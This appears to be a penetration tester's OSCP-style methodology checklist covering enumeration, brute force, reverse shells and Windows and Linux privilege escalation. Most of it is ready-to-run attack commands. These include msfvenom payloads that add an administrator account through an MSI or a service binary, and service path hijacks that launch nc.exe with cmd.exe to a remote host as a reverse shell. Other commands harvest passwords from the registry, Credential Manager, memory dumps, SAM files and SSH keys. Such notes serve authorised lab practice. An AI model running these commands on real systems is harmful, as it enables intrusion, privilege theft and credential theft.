Nmap scan

Make a note of open ports
Also perform a UDP scan at the end of enum.sh

Web Server

Mostly covered by enum; Nikto | dirbuster | Manual check
Check results from enum script first but also begin a more in-depth dirbuster scan while looking manually
Check for LFI/RFI in query strings

If there are any logon portals:

Google default credentials- if a default username is discovered run brute force in background
Otherwise manually check discovered pages for info leak related to this
Check for SQL injection too- probably in password field but check username just in case

SMB | FTP | TFTP

Do we have anon access?
Can we write to the server?
If there's a web server, are we able to view uploaded files there?
Any public vulnerabilities in relation to software versions?
If we've found usernames elsewhere, attempt brute force using these and a simple wordlist (e.g.best110.txt)

RPCBind

Is NFS running? If so, enumerate and mount:

```
nmap -p 111 --script nfs* 10.11.1.72

sudo mount -o nolock 10.11.1.72:/home ~/home/
```

More in PWK pdf if needed (e.g. to quickly see how to impersonate UIDs)

SQL Server

MS-SQL can ~~in some cases~~ be used for RCE and a reverse shell.

If info not found elsewhere, look for common creds and attempt bruteforce.

Upload Files With RCE Established

Windows

- Certutil
- Curl
- wget
- PowerShell
- SMB
- FTP (never had to do this but worth checking) | TFTP

Linux

- Curl
- wget
- FTP | TFTP | SMB

Establish a Reverse Shell

File upload using above method if RCE is possible

Back-end language specific reverse shell (e.g. WAR|PHP) through file upload or LFI

xp-cmdshell through SQL injeciton or server access (if certain versions of MS-SQL)

Check if discovered creds get us into anything interesting like FTP/SMB or SSH.

We can also establish a telnet reverse shell through RCE if all else fails

Make this an interactive form with a generated checklist based on Q&A

Windows Privilege Escalation

Do environment variables hold any important information?

```
Set
```

System version?

```
systeminfo
```

Any useable privileges or groups? Other users?

Whoami /all – if we’re an Administrator but have been assigned a medium mandatory level, we can bypaas UAC under certain circumstances

```
Net users
```

net localgroup Administrators – May be easier to search for info on returned users if different to current one

dir C:\Users – anyhting useable in user directories

Abusing privileges:

https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/privilege-escalation-abusing-tokens

Abusing privileged groups:

https://book.hacktricks.xyz/windows/active-directory-methodology/privileged-accounts-and-token-privileges

Anything interesting in PowerShell history?

```
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
```

Anything in internet settings?

```
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
```

```
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
```

can we install (execute) `*.msi` files as NT AUTHORITY\SYSTEM?

Yes if

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

are enabled (equal to 1)

```
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi
```

https://book.hacktricks.xyz/windows/windows-local-privilege-escalation/msi-wrapper

install malicious msi in background:

```
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
```

Is Linux Subsystem Present?

May be able to access as root

```
dir //s//b bash.exe wsl.exe
```

Running Processes

May be able to hijack a DLL or similar

```
tasklist /v /fi "username eq system"
```

Check permissions of any found processes binaries

```
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)
```

Check permissions of folders of found binaries for possibility of DLL hijack

```
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
```

Password Mining

Create memory dump of running process (some will have creds in clear text like FTP)

```
procdump.exe -accepteula -ma <proc_name_tasklist>
```

Registries With Creds

Can leak user credentials

```
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"
```

Generic registry search for string containing “password”

```
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d
```

Credential Manager

```
Cmdkey /list
```

if any are found, we can use credman.ps1 to extract plaintext password

Can then use runas to execute with privileges of leaked user

SCClient

Check if `C:\Windows\CCM\SCClient.exe` exists .

As installers are run with system privileges, there may be a possibility of DLL sideloading.

```
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }
```

Sensitive files

```
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
```

```
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```

```
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* ==
*.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"
```

Generic file search (filenames)

```
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
```

File contents

```
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
```

AppCmd.exe

If this exists credentials may be configured

```
$Env:SystemRoot\System32\inetsrv\appcmd.exe
```

PowerUp provides a module for this

IIS Web Config

```
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
```

wwwroot could also contain other files to check manually too!

SSH Private Keys?

```
reg query HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys
```

decrypt: https://github.com/ropnop/windows_sshagent_extract

Unqouted Service Paths?

```
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""") do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
```

create service binary

```
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
```

Open Ports

Any hidden services we initially didn’t find?

```
Netstat -an
```

Any Over-Privileged Applications?

Check permissions of binaries- can we overwrite one and escalate privileges?

```
dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE
```

Any Interesting Write Permissions?

Can we alter any config files or admin executed binaries?

```
accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
```

```
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
```

Vulnerable drivers?

```
Driverquery
```

Path DLL Hijacking

Check permissions of all folders inside PATH:

```
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```

Any Over-Privileged Services?

get a list of services

```
net start
```

Check permissions of service

```
sc qc <service_name>
accesschk.exe -ucqv <Service_Name>
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
```

enable if error 1058 occurs

```
sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""
```

Modify binary path of service

```
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
```

Restart

```
wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
```

get every binary that is executed by a service for DLL hijacking

```
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
```

service registry permissiosn

```
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
```

Chnge path of executed binary

```
reg add HKLM\SYSTEM\CurrentControlSet\srevices\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
```

AppLocker Policy

Show black and whitelisted file extensions

```
Get-ApplockerPolicy -Effective -xml
```

Updates requested over HTTP?

```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```

If reply is:

```
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
```

and HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer = 1 then we can use this to compromise the system (wsuxploit)

Linux Privilege Escalation

Do we have SUDO rights to anything?

```
Sudo -l
```

SUID/SGID files?

The file will execute as the user who owns it if SUID is set and as the group that owns it if SGID set; we also need write permission to be able to exploit this.

```
 echo -e "\e[31mFiles run as group, not user:\e[0m" && find / -perm -g=s -type f 2>/dev/null
echo -e "\e[31mFiles run as owner, not user:\e[0m" && find / -perm -u=s -type f 2>/dev/null
```

Files with no owner? Sticky Bit Files?

Useful to know.

```
echo -e "\e[31mFiles with no owner:\e[0m" && find / -xdev \( -nouser -o -nogroup \) -print
```

```
echo -e "\e[31mFiles with sticky bit:\e[0m" && find / -perm -1000 -type d 2>/dev/null
```

Environment Variables?

```
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
```

World Writeable or World Executable?

Useful in a situation where the file is root owned and SUID/SGID or executed via root through a ctronjob.

World writeable could allow us to execute code as root via altering the file and triggering root execution.

```
echo -e "\e[31mWorld writeable files:\e[0m" && find / -writable 2>/dev/null
```

World executable files ~~if SUID/SGID~~ could allow us to exploit functionaliy in the script and elevate privileges (e.g. nmap and vi can be used to establish a root shell)

```
echo -e "\e[31mWorld executable files:\e[0m" && find / -perm -o x 2>/dev/null
```

Any Cronjobs Scheduled?

If we have write access to a file executed by root in a cronjob, we can use this to escalate.

```
crontab -l && echo "Other cronjob information:" && cat /etc/cron*
```

Root Processes?

Some processes should not be run as root and can be exploitable if this is the case- e.g if mysql server is run as root, this can be used to escalate.

```
if [[ $( ps aux | grep "root" )!="" ]]; then echo "Services running under root: " ; ps aux | grep "root" ; fi
```

Any Interesting ~~And Accessible~~ Mail?

May contain useful information and can be used in some public exploits.

```
echo -e "\e[31mMail directory\e[0m" && ls -al /var/mail
```

Any Info In Web Server Directory?

Manually check this

```
ls -al /var/www
```

Who Else Is On The System?

Do we have access to their home directory?

```
 echo -e "\e[31mSystem users:\e[0m" && cat /etc/passwd | cut -d: -f1
ls -al /home
```

Any Interesting Local Services?

```
Netstat -ano
```

What is our OS and Kernel Version?

```
cat /etc/issue
uname -a
```

Any public exploits associated with?

Packet Sniffing?

```
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
```